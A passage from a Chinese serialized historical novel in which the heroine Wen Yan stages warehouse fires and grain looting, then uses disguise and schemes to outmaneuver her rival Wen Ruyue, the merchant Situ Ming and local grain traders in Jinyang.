“这得有上千石了吧!我全家一起,五年也吃不了这么多粮食啊!” 人群里有人在拱火: “黑心商家,明明囤积了这么多粮食,却眼看着我们挨饿,也不肯拿出来卖。” “我们帮忙救火,没有功劳也有苦劳,东家是不是也该表示感谢?” “我听说,前几日着火那家,事后给帮忙救火的人,一人拿了五两银子的感谢费。” “我们不要银子,就把钱折成粮食吧!也能让家里媳妇孩子吃上一顿饱饭。” 随着这一声喊。 所有来帮忙的人都不淡定了。 他们急躁地搓着手,恨不得第一个冲进去抢粮食。 但是又害怕枪打出头鸟,自己被抓出来杀鸡儆猴。 闻颜隐藏在人群里,都气笑了。 这些人真是够了。 又想得好处,又不想担责任。 闻颜只得第一个冲了出去。 她跑到最近的麻袋面前,不知从哪里拿出一把刀,把麻袋扎出一个大口子。 粮食从里面漏出来。 她扯着衣兜去接。 眨眼间,她就接了大大的一鼓兜,调头就跑。 一边跑还一边大声嘀咕着:“我只是拿一点感谢费,就算是官府来了,也合情合理。” “我……我回去就把它和家里的杂粮舂在一起,再加点泥沙,就算追究起来,粮食也拿不回去了。” 闻颜的行为和一席话,就像打开了某个开关。 所有人都一拥而上,冲进仓库里争抢。 第208章:劫富济贫 仓库里挤满了人。 推推搡搡,麻袋被扒拉得到处都是。 还有人为抢粮食打了起来。 好在旁边有人提醒:“仓库里多的是,别只盯着眼前的这一点。” 一仓库粮食,很快就被人瓜分了大半。 闻颜见状,满意一笑,就准备赶往下一个点去放火。 谁知,她刚跑出巷子,就听见前方传来声音。 “快!仓库失火,若是里面的粮食烧没了,我们全都要吃不了兜着走!” “是。”十几道声音应着。 是粮仓的东家派人来了! 闻颜心里咯噔一下。 若是他们现在就赶过去,必定会有不少人被抓住。 到时候送衙门一审,今晚许多人都要遭殃。 闻颜左右看了看,在墙角捡起一根棍子,扒着围墙一用力,就翻了上去。 她用一张巾子包住脑袋,只露出一双眼睛。 没一会儿。 十几个人就拐进了巷子,朝粮仓跑去。 人有点多啊。 全部打死显然不现实。 只能调虎离山了。 就在他们路过闻颜脚边时。 闻颜一棍子扫过去,敲中两个人的脑袋。 那两人身体晃了晃,晕倒在地。 其他人停下,朝闻颜看过来。 闻颜桀桀怪笑两声,“废物们,别去了。那些粮食早就让我烧光了!” “是你放的火!”他们指着闻颜,“抓住凶手,我们就算立功了!” 那些人分成两拨,一拨去抓闻颜,一拨去火灾现场。 只能帮他们到这儿了! 闻颜踩着围墙,就朝其他方向跑去。 没一会儿。 粮仓那边,就传来一阵阵尖叫。 是另一拨家丁护卫在抓人。 闻颜带着身后的尾巴溜出两条街,估摸着抢粮的人跑得差不多了,她跳进一座宅子里,很快就把那些人甩掉了。 闻颜并未闲着,跑向下一个放火点。 城中还有十几处着火点,都是林叔他们在弄。 事态的发展过程,跟闻颜这边一模一样。 好心救火的百姓,在刻意的引导之下,最终禁不住诱惑,将那些仓库里的粮食,瓜分一空。 匆匆赶来的粮商,看见自家仓库的惨状,那叫一个怒发冲冠。 “查!去给我查。 就是掘地三尺,也要把罪魁祸首给我揪出来。” 完成行动的闻颜一行,也如约回到闻如月的宅子里。 他们聚在田叔的房间里,小声说话: “我们也算是,劫富济贫一回了吧!” “你们是没看到,那些富商老爷气得有多惨!” 大家七嘴八舌地说着今晚的成果,都兴奋当中。 闻颜见大家开心,也跟着露出笑容。 就在这时。 林叔也回来了。 闻颜连忙递了一杯茶水上去,问林叔:“尾巴留好了吗?” 林叔接过茶盅,一饮而尽,擦起身上汗水,这才点头道:“放心吧,一切妥当。 我回来的时候,特地先落在闻如月的院子里。 等那些人走了,我才偷偷回来的。” “就等天亮之后看好戏了。”闻颜笑着道,“大家累了一晚上,天都快亮了,大家先休息吧。” 今晚之所以会如此顺利,多亏了闻颜和佩儿日日出去踩点,才将那些粮商的粮仓位置摸清楚。 不过闻颜也知道。 今晚“烧毁”的粮食,对于那些粮商来说,不过是九牛一毛。 更达不到伤筋动骨的地步。 不过,损失不大,侮辱性却极强。 一夜之间。 晋阳府势力最大的商户被人算计至此,简直就是把他们的脸面按在地上摩擦。 胥家家主揉着额头,太阳穴突突地跳着。 直到此时。 有下人来报:“老爷,派出去查消息的人回来了。” 胥家家主:“带进来。” 没一会儿,两名护院走了进来。 这两名护院,一个长得高大威猛,一个长得瘦削矮小。 唯一的共同之处,便是他们呼吸绵长,脚步无声。 此二人,都是高手。 两人进了正堂,对胥家家主行礼,态度却瞧不出有多恭敬:“胥老爷!” 自从他的独子出事之后,胥家家主就从江湖上,请了这二位高手来坐镇。 专门负责保护他和其他家人的安全。 此二人并非仆役,所以他们的态度,胥家家主也不大在意。 “怎么样?查到是什么人了吗?” 矮个子高手报了闻如月的地址。 胥家家主的脸色瞬间变得黑沉。 砰! 他一拳砸在桌上,发出一声巨响:“竟然是她干的!早就知道,此女心思狠毒,没想到竟然真的敢算计我们! 原本还想看在司徒明的面子上,让她小赚一笔就放她离开晋阳府。 却没想她竟敢蓄意报复。 既然如此。 那就别怪他们下手不留情面了! 胥家家主一边在心里盘算着,如何收拾闻如月,又一边发愁。 其他几家知道真相后,定会找自己麻烦。 看来,自己这次又要大出血了! 不过,想到司徒明的许诺,他将心里的烦躁压了下去。 翌日一早。 闻如月一觉睡到大天亮。 她舒服地伸了个懒腰:“来晋阳府这么久,头一次睡了个好觉。” 青竹端着洗漱的温水进来:“夫人醒了!” 她一脸笑容:“夫人,有好消息!” “孟希延回来了?”闻如月一下坐直了身体。 青竹摇头:“不是。是比这个还振奋的消息。” 闻如月心情好,笑骂道:“死蹄子,在我面前还敢拿乔。” 青竹这才把听到的事说了:“昨天逼迫你的那几家商户,昨儿夜里不仅仓库被人点了火,还被人抢了粮,听说损失惨重! 今儿一早官府的差役都忙不过来了。” 青竹说到这里,忍不住发笑:“让那些东西狗眼看人低,竟敢那样逼迫夫人,活该倒霉,啊……” 啪! 青竹脸上又挨了一记耳光。 她顾不得脸颊火辣辣的疼,双腿一软就跪在地上:“夫人,奴婢……奴婢做错了什么吗?” “你个蠢货,这是什么值得高兴的事吗?”闻如月气得七窍生烟,“昨天他们才逼迫我卖粮给他们,昨儿晚上他们的粮食就失火了,这不摆明了把屎盆子往我们身上扣吗?” 青竹怔了一下,随即就慌了:“怎……怎么会这样。我们昨晚明明在家睡觉,根本没有去放火啊! 而且,我们没有人手,怎么可能同时点火十几个粮仓!” 第209章:打上门来 “这么拙劣的借口,你说了那些人就信吗?”闻如月脸色黑得能滴墨。 “那……那我们怎么办?”青竹也意识到事情的严重性。 闻如月心里也急,催促青竹:“快,你去把司徒明找来。” “是。”青竹应着,正要出去找人。 就听门口传来男子的声音:“不用找,我自己来了。” 主仆二人回头,就见司徒明大步走了进来。 司徒明揉着太阳穴,阴沉着脸,已经没有了往日的温文儒雅。 “昨夜那些粮仓,可是你去做的?否则你为何要给我下蒙汗药?” “什么蒙汗药,我昨晚睡得死死的,哪有精力给你下药!”闻如月直呼冤枉。 “我若是要纵火,为何不在买卖做完,拿到银子之后再安排? 我留几个人在城中,等我出城之后,再让他们放火,岂不是更加万全?” “当真不是你?”司徒明狐疑问道。 闻如月气道:“司徒明,我只是不爱动脑子,不代表我真的傻。” 闻如月说完,还幽怨地瞪了司徒明一眼。 那一眼似嗔似怒,带着小妇人特有的娇媚。 司徒明吓得一个激灵,心里一阵难受,狠狠地闭上了眼睛。 不过,闻如月说的话却很在理。 她再傻,再大的怒火,也不会在这种时候犯傻。 “那就是说,我们被人算计了。”司徒明突然生出一种,被毒蛇盯上的感觉。 闻如月愤愤道:“我们在晋阳府无仇无怨,谁会对付我们? 肯定是那些粮商自导自演,让我贱卖粮食还不够,还想让我血本无归,连本带利都赔进去。 好歹毒的心思!不愧是唯利是图的商人。” 司徒明看着闻如月鄙夷的神情,心里冷笑。 她若不唯利是图,又怎会婚期将近之时,跟妹妹换了婚约? 她若是不唯利是图,又怎会弄这么多粮食,到晋阳府售卖,以换取暴利? 不是把嘴擦干净了,就代表她没吃人血馒头。 司徒明心中嘲讽。 很快按下这些小思绪,开始思索,是谁挖坑害自己。 不由自主,佩儿那张稚气圆润的脸颊出现在他脑海里。 但很快,那张稚气可爱的脸,就被另一张丑陋的脸替代。 直觉告诉他,一切都是他们在背后搞鬼。 但他没有证据。 不过。 他做事向来只讲心情,不讲证据。 既然那些人惹他怀疑,那就顺势除掉她了。 司徒明打断闻如月的咒骂,立即道:“不是那些粮商。” “你怎么还偏袒那些人?莫非你已经跟他们串通在一起,你拿了他们的好处?昨天威逼我签下不平等契约,你不会也在参与其中吧!” 闻如月随口一说,就点到了事情的本质。 司徒明心里咯噔:闻如月脑子蠢笨,直觉却强得可怕! 他赶紧岔开话题:“有钱不如有权,这点认知我还是有的。” 闻如月听他这样说,也觉得他不可能这么傻。 又追问道:“那我们现在怎么办? 就算我们没做,那些商户也不会放过我们。” 换成她自己,也不会管对方有错没错,先威胁恐吓一番,让对方拿全部身家来赔偿。 司徒明道:“当然是交出真正的纵火犯。” “你是想……把丑娘交出去?” 司徒明道:“这些事你别管,你好生在屋里呆着,我去谈判,交凶手。” 闻如月还在犹豫。 这时,院门被敲得震天响。 “凶手!凶手!”的喊声。 紧接着,大门外又传来喊声,声音之大,仿佛要冲破天际一般。 闻如月害怕地往后躲了几步,对司徒明道:“行,你只管去做吧。我等你的好消息。” 司徒明又叮嘱她不要擅自行动,这才离开。 司徒明出了院子,仅剩的两个下人迎了上来。 一个是平时伺候他饮食起居的,一个是负责赶马车跑腿的。 “你们两人,去那个院子里,把丑娘那行人全部控制起来。” 仆人纠结道:“司徒先生,丑娘那边有四五个壮汉,而我们只有两个人,恐怕奈何不了他们,还容易打草惊蛇。” 司徒明不悦地‘啧’了一声,手里没人,办起事来就是束手束脚。 他皱眉想了一下,便道:“那就先去会会那些商贾。他们不是人多吗?那就让他们来抓人好了。 你们两个,去院子那边守着,连一只蚊子都不能放出去,知道吗?” 说罢,他就调转方向,朝大门走去。 两个下人也赶去闻颜所在的小院盯梢。 与此同时。 闻如月在确认司徒明离开之后,急得喃喃自语:“不行不行,晋阳府不能待了。 那些商贾唯利是图,就算把丑娘交出去了,他们也未必会放过自己这块肥肉。” 不行,她不能把宝押在司徒明一个人身上。 她得想别的办法。 可那么多粮食还在城中,自己若是走了,岂不是更加便宜了他们?” 现在走也不是,留也不行。 闻如月急得团团转,焦心不已。 就在她犹豫不决间,司徒明已经和本地商贾对质上了。 司徒明一脸沉痛地道:“我好心救人,却遇上了一个中山狼。 现在想来,若非那么巧的事,想必早就盯上了我们的粮食,故意潜伏在我们身边。 大概是听说我们达成买卖,他心中不甘,于是深夜纵火,一箭双雕。 既让我们反目成仇,又毁了合作的可能性。” 司徒明口齿伶俐,又有胥家家主配合,在利益的驱使之下,他们很快就被说服,带着大批人手,跟着司徒明,一起去院子抓人。 等他们抵达那个偏远的小院子时,这里早就人去楼空。 司徒明叫来看守的两个下人:“这院子里的人呢?” 下人一脸懵:“我……我们……不知道啊! 我们寸步不离地守在这里,没看见有人出去啊。” 司徒明深吸一口气,知道事情糟了。 “果然,那些人畏罪潜逃了!”他的脑子转得飞快,装模作样地说着。 他还头头是道地分析,“恐怕他们知道会暴露,昨夜放火之后,根本没有回来。” “如此一来,你们应该更加相信我们是清白的才对啊!” 他一抬头,就对上了胥家家主怀疑的眼神。 司徒明无奈道:“你们不会在怀疑我吧,这样做对我有什么好处? 我们要坑害你们,等到银货两讫,把银两转移之后,再做也不迟啊! 我们若是互相狐疑,岂不是正好着了他们的道。” 第210章:截胡 司徒明舌灿莲花。 又说得合情合理。 况且,胥家家主还指着他救儿子,自然要帮着他。 两人一唱一和,愣是将罪名扣在了闻颜一行的头上。 但商贾们仍然以他‘引狼入室’为由,要求契约上的粮价减半。 司徒明是无所谓的,他只需要把霍世子的粮食卖出高价,闻如月是赚是亏,他并不在意。 不过,他也不能答应得太快,那样会显得他心虚。 就在司徒明把闻如月卖给商贾们时,闻如月的院子里,‘哐当’一声巨响。 闻如月在青竹的搀扶下走出去,院门被人从外面踹开,一个个子矮小的蒙面人走了进来。 闻如月气势汹汹地喝斥:“你是什么人!竟敢闯进我的院子!” 蒙面人一言不发,将院中扫视一圈,直接奔闻如月而去。 瞬间就到了眼前。 闻如月终于意识到对方来者不善,情急之下,她把青竹推出去抵挡。 “夫人……”青竹猝不及防,不可置信地看向闻如月。 闻如月拔腿就跑,根本没有多看她一眼。 蒙面人一巴掌扇在青竹肩膀,青竹惨叫一声,摔在地上滚了两圈,就一动不动了。 闻如月没跑出几步远,头发就被抓住。 “啊……” 她痛叫一声。 张口要喊救命。 一把冰凉匕首突然抵在她颈间。 蒙面人桀桀怪笑几声,在她腹部揍了几拳。 闻如月痛得脸色都扭曲到一块儿了。 “臭娘们儿,竟敢放火烧我们的粮仓,坑害我们。看来是我们太给你脸了!”说话的声音嘶哑。 抵在脖子上的匕首用力几分。 闻如月脖子一痛,清晰地感觉到皮肤被割破。 她吓得娇躯直颤:“你……你停手!我可是津平侯府的世子妃,你要是敢动我一根汗毛,我夫君不会放过你。 他会将你碎尸万段的,满门屠尽!” “屠我满门?那也要知道我是谁啊!”蒙面人呵呵一笑,“津平侯是个很大的官吧!嘿嘿,大官杀起来更带劲了!” “你……你究竟想怎么样!有话好说,没有什么事是谈不拢的。 只要你放过我,我可以给你粮食,给你钱,还可以保举你去京城做大官。” “啧啧啧,好诱人的条件啊!说得我都心动了。”蒙面人嘴上说着心动,巴掌却抽在闻如月的脸上。 这时,外面传来脚步声。 蒙面人把匕首在她脸上拍了拍,“接下来乖乖听话,否则下次我来,就不是打你一顿,而是要你的小命了!” 蒙面人说完,一把推开她,翻墙跑了。 就在这时,司徒明匆匆赶来:“发生什么了?” 闻如月看见他,就像看见了救星,飞扑进他怀里:“救命!司徒明,救我,有人要杀我!” 闻如月怕极了。 死死抱着司徒明不肯撒手。 “谁要杀你?这里没有别人啊。”司徒明想把她从身上撕下来。 躺在地上的青竹,在此时悠悠转醒,没想到,她一睁开眼睛,就看见夫人和司徒公子搂在一起。 青竹吓得肝胆俱颤,倒吸一口气,眼睛瞪得像铜铃。 要命呐! 夫人对别的男子投怀送抱,若是让侯爷和世子知道,他们看在闻家的份上,会放过夫人,但她这个奴婢的小命,铁定保不住! 她双眼一闭,重新躺了回去,还是再晕一会儿吧! “真的有,刚才他还在……”闻如月说到一半,才发现两人的姿势不对。 她连忙推开司徒明,惊慌四顾。 发现除了晕死在地上的青竹,再无其他人。 她这才松了口气。 司徒明完全没注意到她脸上的伤,开始说起谈判的结果。 闻如月听到价格减半时,她终于明白了一切。 她也更加确定。 昨夜的火灾,根本就是他们自导自演,再将罪名扣在自己头上,逼迫自己价格减半。 为此,还提前派人潜伏进来,威胁一番。 闻如月银牙紧咬,拳头捏得死紧。 这群贱民,竟敢欺她至此! 这个仇,她记下了。 她问司徒明:“你觉得呢?我们的价格真的要降一半吗?” 司徒明道:“我只负责做事,决策应该由你来做。” 这话,听着像是完全听命于她,实则是对她不管。 闻如月看他一眼,没有立即给出答复:“让我再考虑一下吧。” 司徒明不耐烦地催促:“你得尽快做下决定,那些人不是有耐性的主儿。” 闻如月看他的眼神,越发的晦暗了。 那些商贾逼她至此,她如何咽得下这口气,还要把粮食低价卖给他们。 她宁愿毁掉,也不想便宜他们! 蒙面人翻墙离开后,她拐进一条小巷子,摘下头上的围巾。 立即露出一张丑陋的脸。 原来,蒙面人是易容后的闻颜扮的。 她恢复成丑娘的模样,朝府衙而去。 今天守门的还是上次那两个。 他们一眼就认出了闻颜,实在是她脸上的伤太吓人了:“你怎么又来了?知府大人还没回来。” 闻颜笑眯眯的:“我不找知府大人,我找辰一。 我有重要事情,还劳烦两位通报一二。” 两位衙役对视一眼,有一个人就转身进去了。 没一会儿。 辰一哥就出来了:“你怎么过来了?” “我有重要的事跟你说,很急。”闻颜朝他使了个眼色。 辰一哥就跟在她身后,去了一条巷子里。 很快。他们就来到了巷子当中。 “辰一哥,现在晋阳府有一批低价粮食,需要你出面买下来。” 辰一:“什么意思?” 闻颜就将闻如月的情况,简明扼要地说了。 “闻如月现在被本地商贾逼迫,要她半价卖粮。 那些人已经威胁到她的人身安全了,你现在出面,保证派人把她送到沧州地界,她肯定愿意把粮食低价卖给你。” “你让我去截胡那批粮食?!”辰一猜疑,“可不是说,她的粮食发霉,还吃死过人吗?就算低价买回来,也未必能用。” 闻颜道:“如果那粮食真的吃死人,本地的商贾怎么可能会买? 不过是他们压价的手段而已,我不信你没看出这里面的猫腻。 我跟你保证,那些粮食只是发芽,绝对没有发霉。” 闻颜看了一眼天色,催促道:“快点吧,再耽搁下去,那些粮食就要落入那些商贾人之手了。” 第211章:说理都找不到地方 辰一哥眸光犀利:“说吧,这件事当中,你扮演了什么角色?” 闻颜倒吸一口气。 都什么时候了,还在盘问她。 “过了这个村,就没这个店了。算了,粮食都送到你面前了,你也无动于衷,反正我把消息传到了,那批货你爱要不要。” 闻颜摆摆手,转身就走。 辰一哥连忙讨好:“要要要。我们要! 只要是能吃的粮食,我们哪有不要的。 小祖宗,你快带我去拿粮食吧。” 闻颜乜斜着他:“你不审我了?” “我刚才就是跟你闹着玩儿。”辰一哥举双手投降。 闻颜这才饶过他,道:“你准备一队运粮的兵卒,再准备两万两银子。” “你在这里等着,我现在就回去准备。”辰一哥说完,就翻墙进了府衙。 墙内立刻传来喝斥声:“是谁,胆敢擅闯府衙…… 辰一侍卫,你怎么放着大门不走,翻墙进来……” 一刻钟后,辰一哥就出来了。 他身后除了几十名兵卒外,身边还跟一个皂衣男子。 闻颜一眼就认出了他。 是那日帮她通传的刀笔吏。 刀笔吏看见闻颜,很是激动地上前道谢。 那天他下衙回到家,弟弟就突然病重。 请来的大夫说要用参片,否则弟弟可能缓不过来。 多亏了闻颜赏的那些银子,才让他买到人参,将弟弟从鬼门关拉了回来。 他对闻颜感激不尽。 闻颜躲开,不受他的礼:“那是我付给你的酬劳,你不必谢我。” 她又看向辰一哥,用眼神询问他:“你带一个刀笔吏过去干什么?” 辰一道:“打打杀杀,搬搬抬抬我在行,谈生意我不行。他脑子灵活,应该能帮上忙。” 她不能在闻如月面前露面,只好如此了。 把兵卒留在府衙待命,闻颜几人先去谈生意。 路上。 闻颜又讲了一遍闻如月的境况。 “闻如月被威胁,她现在走投无路,只要有第二个选择,她就不会把粮食卖给那些商贾。”闻颜叮嘱道。 很快,他们就来到宅子后院墙。 闻颜提醒刀笔吏:“记住,你今天给府衙省的钱越多,你升迁的机会就越大。” 刀笔吏也知道,这是一个在领导面前露脸的大好机会。 他一定会把握住这个好机会的。 辰一哥带着刀笔吏进了宅子。 闻颜就守在外面。 闻颜以为他们在里面会花点时间。 没想到。 不到半个时辰,他们就出来了。 辰一哥还把闻如月和青竹一起带了出来。 青竹背上还背着一个巨大的包袱。 里面装的,都是值钱东西。 闻颜没来得及遮掩容貌。 闻如月看见她,吃了一惊:“怎么是你?” 闻颜脑子转得飞快。 她立即找到了说辞:“早上那些人来围院子,我发现情况不妙,就立即跑出来,去府衙求助了。” “当真?你有这么好心?”闻如月狐疑地问。 闻颜一副你爱信不信的表情:“我只是看在同行一场,咱们又都是女子的份上,才帮你这一回。 你爱信不信。” 闻如月沉思。 其实,刚刚同路时,自己只是恶心她长得丑,并未觉得她图谋不轨。 是司徒明,一直吹耳边风,说她的行迹可疑。 自己才越看她越可疑。 到头来,人家根本没有坏心眼,是司徒明把她当成了假想敌。 闻如月知道自己冤枉了她,但她并不觉得自己有做错。 长得这么丑,不就是让人怀疑的么! 闻颜不知闻如月心里翻江倒海的想法。 她看向辰一哥,用眼神询问他买粮的事。 辰一哥朝她点点头,表示一切顺利。 闻颜便催促他们,该交接的赶紧交接,再晚一点,那些商贾就要找上门来。 辰一哥留了得力手下,在这里守着粮食。 他则带着闻如月,避开人流回到府衙。 他立即安排了人手,护送闻如月主仆离开晋阳府。 闻如月一刻也不想在这里多待,迫不及待地坐上马车,催促他们快些走。 载着闻如月的马车消失在闻颜的视线,很快就出了城门。 与此同时。 大批兵卒闯进那个大宅子里,开始往外搬运货物。 司徒明听见动静,赶过来一瞧,当即就怒了:“你们这是干什么? 这是有主之物,就算你们是官兵也不能强抢百姓的东西!” “什么叫强抢!”兵卒头领走过来,拿出一份契书,摆在司徒明面前:“你看清楚了,这是我们跟闻夫人签订的买卖契书,我们是正经买粮。” 司徒明拿过契书,快速看完。 发现成交金额是一万九千两白银。 比半价多了足足七千两银子。 司徒明拳头捏紧,指节都在发白:“所以,闻如月为了区区七千多两银子,就把我出卖了!” 他都跟胥家家主那边打了包票,会把这些粮食,以半价的价格,补偿给他们。 现在粮食没了,他在胥家家主那边的信用就崩塌了。 以后还怎么合作? 他的眼中迸发出恨意:“好!很好!闻如月,你竟敢摆我一道!” “你别把我们的契约捏坏了。”头领指了指契书,提醒他。 司徒明隐忍着怒气,把契书还了回去。 他愤愤转身,朝后宅走去。 他要去找闻如月算账。 明明说好了要半价卖给本地商贾的,怎么能中途反悔? 反悔怎么不提前告诉自己? 悄无声息干下这等大事,是当他不存在了吗? 只可惜。 等司徒明找回去时,那时已经人去楼空。 不仅人没了,值钱的物件也都不见了。 圆桌上孤零零地躺着一封信。 司徒明打开信,上面写着:“我有急事,先行回家,余下的人你带回。” 司徒明气得一拳砸在圆桌上:“闻如月!你好得很! 你最好祈祷这辈子都别再遇见我!” 否则! 定要你为今日的决定,后悔莫及! 不消半个时辰。 大宅子里的粮食,就被全部搬空。 等那些商贾得到消息,赶过来时,兵卒们都开始收拾了。 他们不甘心,派胥家家主出来沟通。 胥家家主只得拿出之前签下的契书,硬着头皮,说:“这批粮食闻夫人已经卖给我们了。” 头领扫了一眼契书,问他们:“你们可交过订金了?” 胥家家主摇头。 “你们连订金都没交,而我们是银货两讫。”头领淡淡说着。 胥家家主现在只剩下后悔,当时因为信任司徒明,也觉得闻夫人一个女子好拿捏,才没拿付下订金。 现在找说理都找不到地方! 第212章:大水冲了龙王庙 商贾们在官兵这里没讨到一点好处。 这么大的亏,他们怎么可能咽得下去。 条件是司徒明许诺的,现在粮食没了,自然要他来收场。 他们立即拉上胥家家主,要他一起找司徒明讨要说法。 胥家家主也按捺住烦躁,安抚他们:“瞧你们,都是商场上的老人了,才这么一点点粮食,就把你们激动得……” 一位粮商甩袖冷哼:“这是粮食的问题吗?这是颜面问题! 我们在晋阳府几十年,何时被人这样愚弄过? 简直就是把我们的脸面扔在地上踩。 这口气你们咽得下,我咽不下。” 他转头看向胥家家主:“老胥,这件事当初是你牵的头,现在我们吃了这么大的亏,你是不是也该出面解决?” 他的提议,正中胥家家主的下怀。 “当初确实是我考虑不周,不如这样吧,我先去跟司徒明沟通,谈好赔付之后再通知你。” “老胥,你这次可要谈妥当了,千万别再闹出妖蛾子。”那些人叮嘱完就走了。 胥家家主看着那些人的背影,眼神瞬间冷了下来。 一群贪得无厌的蛀虫。 胥家还是京城第一世家的时候,这些人哪个不是对他马首是瞻。 只因家中的不孝子中了兰知府的圈套,把自己弄进天牢里。 他为了捞儿子,散尽大半家财,才让这些老东西有机会爬到头上。 等他和司徒明达成合作,救出了儿子,他就顺利搭上了京城的权贵。 到时候,看这群老东西还能不能蹦跶起来。 胥家家主歪头对手下道:“去把司徒明找来,记得,态度好一点。” 手下目露疑惑,却并未质疑:“是。” 闻颜一行人在不远处看着。 林叔问:“小姐,我们现在也回京城吗?” 闻颜想都没想,摇头道:“我们还不能走。闻如月那点粮只是开胃菜,霍耀行的粮食才是大头。” 她对林叔道:“林叔,最近你要盯紧司徒明,他有任何举动都要及时通知我。” 她又看向薛义:“薛叔,我请你帮忙租的院子,有眉目了吗?” 薛叔回道:“已经谈好了,今天下午我们就能搬进去了。” 闻颜道:“辛苦薛叔了。” 下午,闻颜他们忙着搬家的时候。 司徒明和胥家家主也在茶楼里碰面。 胥家家主虽然想巴结上司徒明身后的势力,但他也不会伏低做小,一脸巴结。 他沉着脸,大步走进雅间。 司徒明只是抬起眼皮扫了他一眼,便自顾自地把玩着手中的茶盏,一副目中无人的样子。 胥家主没想到司徒明如此不给自己面子,心中不悦,微微皱眉。 他的手下立刻斥责道:“无礼!见到我家家主,竟然不起身相迎。” “嗤!”司徒明冷笑一声,“让我起身相迎你一个商贾?就凭你?” 胥家主头一次被人这般的出言不逊,脸色一变。 他的手下,更是连大气都不敢喘一下。 “司徒明,你这可不是合作该有的态度。” “合作?你也配?”司徒明冷笑。 当即从腰间掏出一块腰牌,扔在桌上。 胥家主使唤了个眼色,手下立刻将令牌捧到胥家主面前。 胥家主的眼神不在意地从上面扫过。 他眉头一蹙,又看了一眼。 最后竟抓过令牌,翻来覆去地看了好几遍。 他激动得脸上的肌肉都在哆嗦:“津……津平侯府!霍家!” 司徒明:“你还知道津平侯姓霍,还算有些见识。” 胥家主心念电转。 他一直注意司徒明和闻如月的举动。 他也花钱收买过他们身边的下人。 只可惜,那些人嘴巴严得很。 只跟他透过,闻如月的夫家,是每天都要到御书房议事的存在。 京城里大小官员无数。 他猜了很多种可能。 唯独没猜到,司徒明背后的主人,竟然是一位侯爷。 上一任津平侯的英雄事迹,北方城池的人,无人不知无人不晓。 他激动得眼眶都湿润了:“我当然知道,当年我刚学着做生意,在外跑商。 当地匪患严重。 津平侯带人剿匪,得胜而归,从街上经过,我有幸见过。 没想到,二十几年后,我竟然有机会为这样的大英雄做事。” 胥家主那激动的情绪不似做假,仿佛他真的将霍侯爷当成偶像一样崇拜。 “先前真是大水冲了龙王庙。” 司徒明似笑非笑地看着他。 “那你今天叫我出来的目的?” 胥家主长叹一声,道:“还不是另外那几家。嚷嚷着损失惨重,要你赔偿他们的损失。” “赔偿?他们要我赔多少?” 胥家主眼中闪过精光:“这种小事我来处理就好,哪里需要你来操心。” “你倒是很上道。”司徒明似笑非笑地看着他。 胥家主笑得殷勤:“能为侯爷办事,是我的荣幸。若不是你给我机会,我便是想为了侯爷提鞋都没机会。” 胥家主一通溜须拍马,见司徒明高兴了,他这才道试探着问道:“司徒公子,不知您在侯爷面前……” 司徒明道:“我不是侯爷的人,我是世子的人。前几天被你们逼迫的闻夫人,便是津平世子夫人。” “什么!”胥家主吓得抓紧扶手,才没从椅子上滑下去,“那我们前几天那般逼迫她,若是她在世子面前……司徒公子,你可要帮我在世子面前留个好印象啊。” 司徒明安抚道:“你放心吧,世子夫人不会为这点小事生气。 先前的一切,不过是我们探路的一些手段。 不如此,怎么测出忠心耿耿的胥家主呢?” 胥家主一副受宠若惊的神情。 “行了,你这里浪费我太多时间了。我还有许多其他事情要处理,就先走了。”司徒明站起身,掸了掸衣服上不存在的灰尘,“那些商贾给我处理好了,我不想有任何麻烦。” “司徒公子放心,我一定将此事办得漂漂亮亮的。” 司徒明摇着折扇离开。 待他一走。 胥家主的手下,立即上前问道:“家主,他们真是津平侯的人?” 胥家主道:“有孟小将军在,他不敢撒这个谎,很容易被戳破。” “那……这个烂摊子要怎么弄?” 胥家主没有说话,只是脸色越发的阴沉。 第213章:狐狸尾巴全露出来了 要解决那些商贾的问题其实很简单。 不过是万把两银子的事。 他为了救自家那个不成器的逆子,已经舍了大半家产。 只要津平侯能保他儿子无虞,区区万两银子,又算得了什么! 一块腰牌。 就替司徒明解决了那些商贾的麻烦。 当天晚上。 司徒明的院中,就飞出一只信鸽。 不过,那只信鸽还没飞出城,就被一阵哨声吸引走了。 石头叔抱着鸽子,欢欢喜喜去找闻颜了。 闻颜将密信看完之后,心情大好。 司徒明在信中告之霍耀行,他已经成功将胥家家主收为已用,他们的粮食,会全数交给胥家售卖。 焦家不会收取一分佣金。 他让霍耀行那边,将粮食速速运来。 信的最后。 他竟然给闻如月上眼药。 说闻如月冲动行事,差点毁了他与胥家谈成的合作。 霍耀行很信任司徒明。 闻如月这次回去,肯定讨不了好。 闻颜啧啧两声,同情闻如月。 她赌上全副身家,想发一笔灾难财。 不仅一文钱没赚到,还亏了好几千两。 回去还要被霍耀行打压。 真是惨惨惨! 闻颜上翘的嘴角压都压不住。 她对田叔道:“田叔,你去排查一下胥家,我要知道全部消息。 如果能查到他和司徒明达成了什么交易,是最好的。” 与此同时,赶了一天路的闻如月,天黑之后,才在计划中的驿站投宿。 “终于不用睡在荒郊野外了。”她倒在床上,感觉全身的骨头架子都要散架了。 青竹端着热水来给她洗漱。 闻如月有感而发:“这次我们能成功脱身,多亏了丑娘。 要不是她及时联系了府衙,我这次恐怕要赔个彻底。” 现在只赔了四五千两银子,她已经很知足。 她现在对丑娘有多感激。 将来知道丑娘就是闻颜后,她就有多抓狂,多气愤。 恨不得再次重生回来,狠狠打自己几巴掌。 闻如月躺回床上,已经开始幻想,自己回到京城后,世子爷与她是如何的小别胜新婚,缠绵悱恻,难分难舍。 而此刻的京城。 兰家二房的谢夫人,找闻如月都快找疯了。 自从兰贵妃用了闻如月进贡的熏香之后,就迷恋上了。 一个多月前,兰贵妃已经找谢夫人要过一次。 谢夫人自然是找闻如月拿的。 闻如月给自己留下一小盒,其余全进送进宫里。 这才一个多月时间,兰贵妃又用完了。 并且对那款香料,欲罢不能。 每天不闻一闻那香,她就浑身不适,心情烦闷。 她催促谢二夫人,快些把香送进宫。 谢二夫人也想找闻如月拿香。 她屡次扑空,才得知闻如月来了晋阳府。 谢二夫人现在就是热锅上的蚂蚁。 天天祈祷闻如月早点回去。 闻颜没料到,她通过闻如月的手,送到兰贵妃手上的熏香已经起作用了。 比她预估的时间,提前了大半时间。 晋阳府的天气越来越热。 天边刚露鱼肚白,闻颜就被热醒了。 她烦躁地坐起身,摇着团扇送来一丝清凉。 她一醒,佩儿也跟着醒了过来。 佩儿接过团扇,帮她扇着:“小姐,我给你打扇,你再睡会儿吧。” “不用了。天气太热,我根本睡不着。”闻颜摇扇子的速度越来越快。 就在这时。 外面突然传来嘈杂声,还伴随着一些啜泣。 